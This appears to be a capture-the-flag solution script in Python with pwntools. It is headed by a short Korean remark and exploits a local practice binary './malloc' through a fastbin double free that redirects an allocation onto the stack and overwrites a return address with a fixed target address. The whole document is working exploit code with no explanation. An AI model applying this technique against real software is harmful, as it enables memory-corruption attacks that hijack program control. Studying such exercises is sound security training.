fastbin dup into stack으로 쓱싹!!!
from pwn import *
s = process("./malloc")
elf = ELF("./malloc")
def malloc(size,content):
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Enter size :")
s.sendline(str(size))
s.recvuntil("Enter data : ")
s.sendline(content)
def free(index):
s.recvuntil("> ")
s.sendline("2")
s.recvuntil("free :")
s.sendline(str(index))
def list():
s.recvuntil("> ")
s.sendline("3")
def modify(index,content):
s.recvuntil("> ")
s.sendline("4")
s.recvuntil("modify : ")
s.sendline(str(index))
s.recvuntil("data : ")
s.sendline(content)
def quit():
s.recvuntil("> ")
s.sendline("5")
gdb.attach(s)
s.recvuntil("Stack Address : ")
stack = int(s.recv(14),16)
print "stack : " + hex(stack)
malloc(32,"A"*8)
malloc(32,"B"*8)
free(1)
free(2)
free(1)
modify(1,p64(stack-0x58))
malloc(32,"C"*8)
malloc(49,"A"*24+p64(0x0000000000400986))
s.interactive()